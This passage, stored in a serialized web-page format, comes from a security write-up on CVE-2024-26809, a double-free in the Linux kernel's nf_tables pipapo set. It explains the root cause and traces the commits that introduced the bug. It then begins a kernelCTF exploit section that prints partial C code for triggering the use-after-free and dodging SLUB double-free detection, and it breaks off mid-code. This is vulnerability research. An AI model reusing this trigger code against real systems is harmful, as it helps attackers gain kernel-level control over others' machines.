nft_commit_release",{"type":20,"tag":315,"props":51648,"children":51649},{"style":328},[51650],{"type":26,"value":51638},{"type":20,"tag":315,"props":51652,"children":51653},{"class":317,"line":552},[51654],{"type":20,"tag":315,"props":51655,"children":51656},{"style":328},[51657],{"type":26,"value":7995},{"type":20,"tag":315,"props":51659,"children":51660},{"class":317,"line":571},[51661],{"type":20,"tag":315,"props":51662,"children":51663},{"style":328},[51664],{"type":26,"value":577},{"type":20,"tag":315,"props":51666,"children":51667},{"class":317,"line":2031},[51668],{"type":20,"tag":315,"props":51669,"children":51670},{"style":328},[51671],{"type":26,"value":8718},{"type":20,"tag":315,"props":51673,"children":51674},{"class":317,"line":2053},[51675,51679,51683,51688,51692,51696,51701,51705,51709],{"type":20,"tag":315,"props":51676,"children":51677},{"style":541},[51678],{"type":26,"value":49296},{"type":20,"tag":315,"props":51680,"children":51681},{"style":541},[51682],{"type":26,"value":49301},{"type":20,"tag":315,"props":51684,"children":51685},{"style":345},[51686],{"type":26,"value":51687}," nft_commit_release",{"type":20,"tag":315,"props":51689,"children":51690},{"style":328},[51691],{"type":26,"value":1049},{"type":20,"tag":315,"props":51693,"children":51694},{"style":541},[51695],{"type":26,"value":7800},{"type":20,"tag":315,"props":51697,"children":51698},{"style":328},[51699],{"type":26,"value":51700}," nft_trans ",{"type":20,"tag":315,"props":51702,"children":51703},{"style":334},[51704],{"type":26,"value":901},{"type":20,"tag":315,"props":51706,"children":51707},{"style":635},[51708],{"type":26,"value":50813},{"type":20,"tag":315,"props":51710,"children":51711},{"style":328},[51712],{"type":26,"value":380},{"type":20,"tag":315,"props":51714,"children":51715},{"class":317,"line":2061},[51716],{"type":20,"tag":315,"props":51717,"children":51718},{"style":328},[51719],{"type":26,"value":723},{"type":20,"tag":315,"props":51721,"children":51722},{"class":317,"line":2070},[51723,51728,51732,51736,51740,51744],{"type":20,"tag":315,"props":51724,"children":51725},{"style":525},[51726],{"type":26,"value":51727}," switch",{"type":20,"tag":315,"props":51729,"children":51730},{"style":328},[51731],{"type":26,"value":463},{"type":20,"tag":315,"props":51733,"children":51734},{"style":635},[51735],{"type":26,"value":50813},{"type":20,"tag":315,"props":51737,"children":51738},{"style":328},[51739],{"type":26,"value":12158},{"type":20,"tag":315,"props":51741,"children":51742},{"style":635},[51743],{"type":26,"value":50851},{"type":20,"tag":315,"props":51745,"children":51746},{"style":328},[51747],{"type":26,"value":549},{"type":20,"tag":315,"props":51749,"children":51750},{"class":317,"line":2139},[51751],{"type":20,"tag":315,"props":51752,"children":51753},{"style":328},[51754],{"type":26,"value":8718},{"type":20,"tag":315,"props":51756,"children":51757},{"class":317,"line":2147},[51758,51763],{"type":20,"tag":315,"props":51759,"children":51760},{"style":525},[51761],{"type":26,"value":51762}," case",{"type":20,"tag":315,"props":51764,"children":51765},{"style":328},[51766],{"type":26,"value":51767}," NFT_MSG_DELSET:\n",{"type":20,"tag":315,"props":51769,"children":51770},{"class":317,"line":2177},[51771,51775],{"type":20,"tag":315,"props":51772,"children":51773},{"style":525},[51774],{"type":26,"value":51762},{"type":20,"tag":315,"props":51776,"children":51777},{"style":328},[51778],{"type":26,"value":51779}," NFT_MSG_DESTROYSET:\n",{"type":20,"tag":315,"props":51781,"children":51782},{"class":317,"line":2185},[51783,51788,51792,51796,51800,51804,51808,51812,51816],{"type":20,"tag":315,"props":51784,"children":51785},{"style":345},[51786],{"type":26,"value":51787}," nft_set_destroy",{"type":20,"tag":315,"props":51789,"children":51790},{"style":328},[51791],{"type":26,"value":1049},{"type":20,"tag":315,"props":51793,"children":51794},{"style":334},[51795],{"type":26,"value":1490},{"type":20,"tag":315,"props":51797,"children":51798},{"style":328},[51799],{"type":26,"value":50813},{"type":20,"tag":315,"props":51801,"children":51802},{"style":334},[51803],{"type":26,"value":12158},{"type":20,"tag":315,"props":51805,"children":51806},{"style":635},[51807],{"type":26,"value":18684},{"type":20,"tag":315,"props":51809,"children":51810},{"style":328},[51811],{"type":26,"value":44},{"type":20,"tag":315,"props":51813,"children":51814},{"style":345},[51815],{"type":26,"value":50779},{"type":20,"tag":315,"props":51817,"children":51818},{"style":328},[51819],{"type":26,"value":51820},"(trans));\n",{"type":20,"tag":315,"props":51822,"children":51823},{"class":317,"line":2217},[51824],{"type":20,"tag":315,"props":51825,"children":51826},{"style":328},[51827],{"type":26,"value":8718},{"type":20,"tag":315,"props":51829,"children":51830},{"class":317,"line":2225},[51831],{"type":20,"tag":315,"props":51832,"children":51833},{"style":328},[51834],{"type":26,"value":577},{"type":20,"tag":315,"props":51836,"children":51837},{"class":317,"line":2285},[51838],{"type":20,"tag":315,"props":51839,"children":51840},{"style":328},[51841],{"type":26,"value":8718},{"type":20,"tag":315,"props":51843,"children":51844},{"class":317,"line":7444},[51845,51849,51853,51858,51862,51866,51870,51874,51878,51883,51887,51891,51895],{"type":20,"tag":315,"props":51846,"children":51847},{"style":541},[51848],{"type":26,"value":49296},{"type":20,"tag":315,"props":51850,"children":51851},{"style":541},[51852],{"type":26,"value":49301},{"type":20,"tag":315,"props":51854,"children":51855},{"style":345},[51856],{"type":26,"value":51857}," nft_set_destroy",{"type":20,"tag":315,"props":51859,"children":51860},{"style":328},[51861],{"type":26,"value":1049},{"type":20,"tag":315,"props":51863,"children":51864},{"style":541},[51865],{"type":26,"value":8054},{"type":20,"tag":315,"props":51867,"children":51868},{"style":541},[51869],{"type":26,"value":19555},{"type":20,"tag":315,"props":51871,"children":51872},{"style":328},[51873],{"type":26,"value":49323},{"type":20,"tag":315,"props":51875,"children":51876},{"style":334},[51877],{"type":26,"value":901},{"type":20,"tag":315,"props":51879,"children":51880},{"style":328},[51881],{"type":26,"value":51882},"ctx, ",{"type":20,"tag":315,"props":51884,"children":51885},{"style":541},[51886],{"type":26,"value":7800},{"type":20,"tag":315,"props":51888,"children":51889},{"style":328},[51890],{"type":26,"value":49351},{"type":20,"tag":315,"props":51892,"children":51893},{"style":334},[51894],{"type":26,"value":901},{"type":20,"tag":315,"props":51896,"children":51897},{"style":328},[51898],{"type":26,"value":51899},"set)\n",{"type":20,"tag":315,"props":51901,"children":51902},{"class":317,"line":7462},[51903],{"type":20,"tag":315,"props":51904,"children":51905},{"style":328},[51906],{"type":26,"value":723},{"type":20,"tag":315,"props":51908,"children":51909},{"class":317,"line":7507},[51910],{"type":20,"tag":315,"props":51911,"children":51912},{"style":328},[51913],{"type":26,"value":8718},{"type":20,"tag":315,"props":51915,"children":51916},{"class":317,"line":7613},[51917,51921,51925,51929,51933,51938],{"type":20,"tag":315,"props":51918,"children":51919},{"style":635},[51920],{"type":26,"value":51338},{"type":20,"tag":315,"props":51922,"children":51923},{"style":328},[51924],{"type":26,"value":12158},{"type":20,"tag":315,"props":51926,"children":51927},{"style":635},[51928],{"type":26,"value":50922},{"type":20,"tag":315,"props":51930,"children":51931},{"style":328},[51932],{"type":26,"value":12158},{"type":20,"tag":315,"props":51934,"children":51935},{"style":345},[51936],{"type":26,"value":51937},"destroy",{"type":20,"tag":315,"props":51939,"children":51940},{"style":328},[51941],{"type":26,"value":51942},"(ctx, set);\n",{"type":20,"tag":315,"props":51944,"children":51945},{"class":317,"line":21914},[51946],{"type":20,"tag":315,"props":51947,"children":51948},{"style":328},[51949],{"type":26,"value":8718},{"type":20,"tag":315,"props":51951,"children":51952},{"class":317,"line":21949},[51953],{"type":20,"tag":315,"props":51954,"children":51955},{"style":328},[51956],{"type":26,"value":577},{"type":20,"tag":29,"props":51958,"children":51959},{},[51960,51962,51967,51969,51974,51976,51982,51984,51989,51991,51996,51998,52002,52004,52009,52010,52014,52016,52022],{"type":26,"value":51961},"It may appear as if it would be impossible to make ",{"type":20,"tag":119,"props":51963,"children":51965},{"className":51964},[],[51966],{"type":26,"value":49225},{"type":26,"value":51968}," true in the release step because the ",{"type":20,"tag":119,"props":51970,"children":51972},{"className":51971},[],[51973],{"type":26,"value":50597},{"type":26,"value":51975}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":20,"tag":119,"props":51977,"children":51979},{"className":51978},[],[51980],{"type":26,"value":51981},"set->dead",{"type":26,"value":51983}," flag. If a ",{"type":20,"tag":119,"props":51985,"children":51987},{"className":51986},[],[51988],{"type":26,"value":49271},{"type":26,"value":51990}," was marked for deletion, it receives the ",{"type":20,"tag":119,"props":51992,"children":51994},{"className":51993},[],[51995],{"type":26,"value":51981},{"type":26,"value":51997}," flag ",{"type":20,"tag":315,"props":51999,"children":52000},{},[52001],{"type":26,"value":1504},{"type":26,"value":52003},". If this flag is set, then the commit path will skip any commitments to this ",{"type":20,"tag":119,"props":52005,"children":52007},{"className":52006},[],[52008],{"type":26,"value":49271},{"type":26,"value":4852},{"type":20,"tag":315,"props":52011,"children":52012},{},[52013],{"type":26,"value":15931},{"type":26,"value":52015},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":20,"tag":119,"props":52017,"children":52019},{"className":52018},[],[52020],{"type":26,"value":52021},"priv ->dirty",{"type":26,"value":52023}," flag is not cleared when it should have been.",{"type":20,"tag":21,"props":52025,"children":52027},{"id":52026},"tracing-the-guilty-commit",[52028],{"type":26,"value":52029},"Tracing the guilty commit",{"type":20,"tag":29,"props":52031,"children":52032},{},[52033,52035,52042,52044,52050,52052,52057,52059,52065],{"type":26,"value":52034},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":20,"tag":35,"props":52036,"children":52039},{"href":52037,"rel":52038},"https://ubuntu.com/security/CVE-2024-26809",[39],[52040],{"type":26,"value":52041},"advisories",{"type":26,"value":52043}," about this vulnerability will say it was introduced by this ",{"type":20,"tag":35,"props":52045,"children":52048},{"href":52046,"rel":52047},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[39],[52049],{"type":26,"value":50931},{"type":26,"value":52051},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":20,"tag":119,"props":52053,"children":52055},{"className":52054},[],[52056],{"type":26,"value":51981},{"type":26,"value":52058}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":20,"tag":35,"props":52060,"children":52063},{"href":52061,"rel":52062},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[39],[52064],{"type":26,"value":50931},{"type":26,"value":61},{"type":20,"tag":29,"props":52067,"children":52068},{},[52069],{"type":26,"value":52070},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":20,"tag":305,"props":52072,"children":52076},{"className":52073,"code":52074,"language":52075,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919] \u003CTASK>\n[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952] ? __nla_validate_parse+0x48/0x190\n[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963] netlink_unicast+0x211/0x340\n[16302.231969] netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[52077],{"type":20,"tag":119,"props":52078,"children":52079},{"__ignoreMap":7},[52080,52088,52096,52103,52111,52119,52126,52134,52141,52149,52157,52164,52172,52180,52188,52196,52204,52212,52220,52228,52236,52243,52251,52259,52266,52274,52282,52290,52298,52306,52313,52321,52329],{"type":20,"tag":315,"props":52081,"children":52082},{"class":317,"line":318},[52083],{"type":20,"tag":315,"props":52084,"children":52085},{},[52086],{"type":26,"value":52087},"New elements that reside in the clone are not released in case that the\n",{"type":20,"tag":315,"props":52089,"children":52090},{"class":317,"line":356},[52091],{"type":20,"tag":315,"props":52092,"children":52093},{},[52094],{"type":26,"value":52095},"transaction is aborted.\n",{"type":20,"tag":315,"props":52097,"children":52098},{"class":317,"line":365},[52099],{"type":20,"tag":315,"props":52100,"children":52101},{"emptyLinePlaceholder":15},[52102],{"type":26,"value":427},{"type":20,"tag":315,"props":52104,"children":52105},{"class":317,"line":374},[52106],{"type":20,"tag":315,"props":52107,"children":52108},{},[52109],{"type":26,"value":52110},"[16302.231754] ------------[ cut here ]------------\n",{"type":20,"tag":315,"props":52112,"children":52113},{"class":317,"line":383},[52114],{"type":20,"tag":315,"props":52115,"children":52116},{},[52117],{"type":26,"value":52118},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":20,"tag":315,"props":52120,"children":52121},{"class":317,"line":407},[52122],{"type":20,"tag":315,"props":52123,"children":52124},{},[52125],{"type":26,"value":8718},{"type":20,"tag":315,"props":52127,"children":52128},{"class":317,"line":421},[52129],{"type":20,"tag":315,"props":52130,"children":52131},{},[52132],{"type":26,"value":52133},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n",{"type":20,"tag":315,"props":52135,"children":52136},{"class":317,"line":430},[52137],{"type":20,"tag":315,"props":52138,"children":52139},{},[52140],{"type":26,"value":8718},{"type":20,"tag":315,"props":52142,"children":52143},{"class":317,"line":453},[52144],{"type":20,"tag":315,"props":52145,"children":52146},{},[52147],{"type":26,"value":52148},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":20,"tag":315,"props":52150,"children":52151},{"class":317,"line":486},[52152],{"type":20,"tag":315,"props":52153,"children":52154},{},[52155],{"type":26,"value":52156},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":20,"tag":315,"props":52158,"children":52159},{"class":317,"line":499},[52160],{"type":20,"tag":315,"props":52161,"children":52162},{},[52163],{"type":26,"value":8718},{"type":20,"tag":315,"props":52165,"children":52166},{"class":317,"line":513},[52167],{"type":20,"tag":315,"props":52168,"children":52169},{},[52170],{"type":26,"value":52171},"[16302.231917] Call Trace:\n",{"type":20,"tag":315,"props":52173,"children":52174},{"class":317,"line":521},[52175],{"type":20,"tag":315,"props":52176,"children":52177},{},[52178],{"type":26,"value":52179},"[16302.231919] \u003CTASK>\n",{"type":20,"tag":315,"props":52181,"children":52182},{"class":317,"line":552},[52183],{"type":20,"tag":315,"props":52184,"children":52185},{},[52186],{"type":26,"value":52187},"[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":20,"tag":315,"props":52189,"children":52190},{"class":317,"line":571},[52191],{"type":20,"tag":315,"props":52192,"children":52193},{},[52194],{"type":26,"value":52195},"[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":20,"tag":315,"props":52197,"children":52198},{"class":317,"line":2031},[52199],{"type":20,"tag":315,"props":52200,"children":52201},{},[52202],{"type":26,"value":52203},"[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":20,"tag":315,"props":52205,"children":52206},{"class":317,"line":2053},[52207],{"type":20,"tag":315,"props":52208,"children":52209},{},[52210],{"type":26,"value":52211},"[16302.231952] ? __nla_validate_parse+0x48/0x190\n",{"type":20,"tag":315,"props":52213,"children":52214},{"class":317,"line":2061},[52215],{"type":20,"tag":315,"props":52216,"children":52217},{},[52218],{"type":26,"value":52219},"[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":20,"tag":315,"props":52221,"children":52222},{"class":317,"line":2070},[52223],{"type":20,"tag":315,"props":52224,"children":52225},{},[52226],{"type":26,"value":52227},"[16302.231963] netlink_unicast+0x211/0x340\n",{"type":20,"tag":315,"props":52229,"children":52230},{"class":317,"line":2139},[52231],{"type":20,"tag":315,"props":52232,"children":52233},{},[52234],{"type":26,"value":52235},"[16302.231969] netlink_sendmsg+0x21e/0x460\n",{"type":20,"tag":315,"props":52237,"children":52238},{"class":317,"line":2147},[52239],{"type":20,"tag":315,"props":52240,"children":52241},{"emptyLinePlaceholder":15},[52242],{"type":26,"value":427},{"type":20,"tag":315,"props":52244,"children":52245},{"class":317,"line":2177},[52246],{"type":20,"tag":315,"props":52247,"children":52248},{},[52249],{"type":26,"value":52250},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":20,"tag":315,"props":52252,"children":52253},{"class":317,"line":2185},[52254],{"type":20,"tag":315,"props":52255,"children":52256},{},[52257],{"type":26,"value":52258},"elements in the lookup tables.\n",{"type":20,"tag":315,"props":52260,"children":52261},{"class":317,"line":2217},[52262],{"type":20,"tag":315,"props":52263,"children":52264},{"emptyLinePlaceholder":15},[52265],{"type":26,"value":427},{"type":20,"tag":315,"props":52267,"children":52268},{"class":317,"line":2225},[52269],{"type":20,"tag":315,"props":52270,"children":52271},{},[52272],{"type":26,"value":52273},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":20,"tag":315,"props":52275,"children":52276},{"class":317,"line":2285},[52277],{"type":20,"tag":315,"props":52278,"children":52279},{},[52280],{"type":26,"value":52281},"cloned matching data if priv->dirty is set, because that means that\n",{"type":20,"tag":315,"props":52283,"children":52284},{"class":317,"line":7444},[52285],{"type":20,"tag":315,"props":52286,"children":52287},{},[52288],{"type":26,"value":52289},"cloned data might point to additional elements we did not commit to the\n",{"type":20,"tag":315,"props":52291,"children":52292},{"class":317,"line":7462},[52293],{"type":20,"tag":315,"props":52294,"children":52295},{},[52296],{"type":26,"value":52297},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":20,"tag":315,"props":52299,"children":52300},{"class":317,"line":7507},[52301],{"type":20,"tag":315,"props":52302,"children":52303},{},[52304],{"type":26,"value":52305},"to it).\"\n",{"type":20,"tag":315,"props":52307,"children":52308},{"class":317,"line":7613},[52309],{"type":20,"tag":315,"props":52310,"children":52311},{"emptyLinePlaceholder":15},[52312],{"type":26,"value":427},{"type":20,"tag":315,"props":52314,"children":52315},{"class":317,"line":21914},[52316],{"type":20,"tag":315,"props":52317,"children":52318},{},[52319],{"type":26,"value":52320},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":20,"tag":315,"props":52322,"children":52323},{"class":317,"line":21949},[52324],{"type":20,"tag":315,"props":52325,"children":52326},{},[52327],{"type":26,"value":52328},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":20,"tag":315,"props":52330,"children":52331},{"class":317,"line":21957},[52332],{"type":20,"tag":315,"props":52333,"children":52334},{},[52335],{"type":26,"value":52336},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":20,"tag":29,"props":52338,"children":52339},{},[52340,52342,52347,52349,52354,52356,52361,52363,52368],{"type":26,"value":52341},"As we previously discussed, committing changes to a pipapo ",{"type":20,"tag":119,"props":52343,"children":52345},{"className":52344},[],[52346],{"type":26,"value":49271},{"type":26,"value":52348}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":20,"tag":119,"props":52350,"children":52352},{"className":52351},[],[52353],{"type":26,"value":50597},{"type":26,"value":52355}," method by simply replacing the ",{"type":20,"tag":119,"props":52357,"children":52359},{"className":52358},[],[52360],{"type":26,"value":49271},{"type":26,"value":52362},"s match object with its updated clone. So checking the ",{"type":20,"tag":119,"props":52364,"children":52366},{"className":52365},[],[52367],{"type":26,"value":49225},{"type":26,"value":52369}," flag and then calling free again ensures we also free uncommitted changes.",{"type":20,"tag":29,"props":52371,"children":52372},{},[52373,52375,52380],{"type":26,"value":52374},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":20,"tag":119,"props":52376,"children":52378},{"className":52377},[],[52379],{"type":26,"value":49271},{"type":26,"value":52381},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":20,"tag":29,"props":52383,"children":52384},{},[52385,52387,52393,52395,52400,52402,52407],{"type":26,"value":52386},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":20,"tag":119,"props":52388,"children":52390},{"className":52389},[],[52391],{"type":26,"value":52392},"set->ops->destroy()",{"type":26,"value":52394}," could be called without clearing the ",{"type":20,"tag":119,"props":52396,"children":52398},{"className":52397},[],[52399],{"type":26,"value":49225},{"type":26,"value":52401}," flag, which was fine considering you didn't have duplicated views of the ",{"type":20,"tag":119,"props":52403,"children":52405},{"className":52404},[],[52406],{"type":26,"value":49263},{"type":26,"value":52408},"s, so they would all be in the clone set.",{"type":20,"tag":29,"props":52410,"children":52411},{},[52412,52414,52419],{"type":26,"value":52413},"But when the ",{"type":20,"tag":119,"props":52415,"children":52417},{"className":52416},[],[52418],{"type":26,"value":51981},{"type":26,"value":52420}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":20,"tag":29,"props":52422,"children":52423},{},[52424],{"type":26,"value":52425},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":20,"tag":21,"props":52427,"children":52429},{"id":52428},"kernelctf-exploit",[52430],{"type":26,"value":52431},"KernelCTF exploit",{"type":20,"tag":29,"props":52433,"children":52434},{},[52435,52437,52443,52445,52452],{"type":26,"value":52436},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":20,"tag":119,"props":52438,"children":52440},{"className":52439},[],[52441],{"type":26,"value":52442},"nft_object + udata",{"type":26,"value":52444}," technique shared by lonial con in a ",{"type":20,"tag":35,"props":52446,"children":52449},{"href":52447,"rel":52448},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[39],[52450],{"type":26,"value":52451},"previous kernelCTF exploit",{"type":26,"value":61},{"type":20,"tag":219,"props":52454,"children":52456},{"id":52455},"trigger-uafavoid-double-free-detection",[52457],{"type":26,"value":52458},"Trigger UAF/avoid double-free detection",{"type":20,"tag":29,"props":52460,"children":52461},{},[52462,52464,52470,52472,52478],{"type":26,"value":52463},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":20,"tag":119,"props":52465,"children":52467},{"className":52466},[],[52468],{"type":26,"value":52469},"nft_set_pipapo_match_destroy",{"type":26,"value":52471}," iterates over the ",{"type":20,"tag":119,"props":52473,"children":52475},{"className":52474},[],[52476],{"type":26,"value":52477},"setelems",{"type":26,"value":52479}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":20,"tag":68,"props":52481,"children":52482},{},[52483,52488,52493,52498],{"type":20,"tag":72,"props":52484,"children":52485},{},[52486],{"type":26,"value":52487},"Element A gets freed",{"type":20,"tag":72,"props":52489,"children":52490},{},[52491],{"type":26,"value":52492},"Element B gets free",{"type":20,"tag":72,"props":52494,"children":52495},{},[52496],{"type":26,"value":52497},"Element A gets freed again (double-free)",{"type":20,"tag":72,"props":52499,"children":52500},{},[52501],{"type":26,"value":52502},"Element B gets freed again (double-free)",{"type":20,"tag":305,"props":52504,"children":52506},{"className":27525,"code":52505,"language":27527,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n // TRANSACTION 2\n[...]\n\n // create pipapo set\n uint8_t desc[2] = {16, 16};\n set = create_set(\n batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n // commit 2 elems to set (elems A and B that will be double-freed)\n for (int i = 0; i \u003C 2; i++)\n {\n elem[i] = nftnl_set_elem_alloc();\n memset(key, 0x41 + i, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n nftnl_set_elem_add(set, elem[i]);\n }\n[...]\n\n // TRANSACTION 3\n[...]\n set = nftnl_set_alloc();\n nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n // make priv->dirty true\n memset(key, 0xff, KEY_LEN);\n elem[3] = nftnl_set_elem_alloc();\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_add(set, elem[3]);\n[...]\n\n // double-free commited elems\n[...]\n nftnl_set_free(set);\n}\n[...]\n",[52507],{"type":20,"tag":119,"props":52508,"children":52509},{"__ignoreMap":7},[52510,52517,52578,52585,52592,52600,52607,52614,52622,52646,52667,52701,52762,52769,52777,52829,52836,52862,52889,52928,52957,52986,53008,53015,53022,53029,53037,53044,53052,53065,53078,53098,53105,53113,53135,53167,53212,53248,53276,53283,53290,53298,53305,53321,53328],{"type":20,"tag":315,"props":52511,"children":52512},{"class":317,"line":318},[52513],{"type":20,"tag":315,"props":52514,"children":52515},{"style":328},[52516],{"type":26,"value":8718},{"type":20,"tag":315,"props":52518,"children":52519},{"class":317,"line":356},[52520,52525,52529,52534,52538,52543,52547,52552,52557,52561,52565,52569,52574],{"type":20,"tag":315,"props":52521,"children":52522},{"style":328},[52523],{"type":26,"value":52524},"static void trigger_uaf(",{"type":20,"tag":315,"props":52526,"children":52527},{"style":541},[52528],{"type":26,"value":7800},{"type":20,"tag":315,"props":52530,"children":52531},{"style":322},[52532],{"type":26,"value":52533}," mnl_socket",{"type":20,"tag":315,"props":52535,"children":52536},{"style":541},[52537],{"type":26,"value":8216},{"type":20,"tag":315,"props":52539,"children":52540},{"style":635},[52541],{"type":26,"value":52542},"nl",{"type":20,"tag":315,"props":52544,"children":52545},{"style":328},[52546],{"type":26,"value":44},{"type":20,"tag":315,"props":52548,"children":52549},{"style":541},[52550],{"type":26,"value":52551},"size_t",{"type":20,"tag":315,"props":52553,"children":52554},{"style":635},[52555],{"type":26,"value":52556}," size",{"type":20,"tag":315,"props":52558,"children":52559},{"style":328},[52560],{"type":26,"value":44},{"type":20,"tag":315,"props":52562,"children":52563},{"style":541},[52564],{"type":26,"value":17451},{"type":20,"tag":315,"props":52566,"children":52567},{"style":541},[52568],{"type":26,"value":8216},{"type":20,"tag":315,"props":52570,"children":52571},{"style":635},[52572],{"type":26,"value":52573},"msgqids",{"type":20,"tag":315,"props":52575,"children":52576},{"style":328},[52577],{"type":26,"value":380},{"type":20,"tag":315,"props":52579,"children":52580},{"class":317,"line":365},[52581],{"type":20,"tag":315,"props":52582,"children":52583},{"style":328},[52584],{"type":26,"value":723},{"type":20,"tag":315,"props":52586,"children":52587},{"class":317,"line":374},[52588],{"type":20,"tag":315,"props":52589,"children":52590},{"style":328},[52591],{"type":26,"value":8718},{"type":20,"tag":315,"props":52593,"children":52594},{"class":317,"line":383},[52595],{"type":20,"tag":315,"props":52596,"children":52597},{"style":328},[52598],{"type":26,"value":52599}," // TRANSACTION 2\n",{"type":20,"tag":315,"props":52601,"children":52602},{"class":317,"line":407},[52603],{"type":20,"tag":315,"props":52604,"children":52605},{"style":328},[52606],{"type":26,"value":8718},{"type":20,"tag":315,"props":52608,"children":52609},{"class":317,"line":421},[52610],{"type":20,"tag":315,"props":52611,"children":52612},{"emptyLinePlaceholder":15},[52613],{"type":26,"value":427},{"type":20,"tag":315,"props":52615,"children":52616},{"class":317,"line":430},[52617],{"type":20,"tag":315,"props":52618,"children":52619},{"style":328},[52620],{"type":26,"value":52621}," // create pipapo 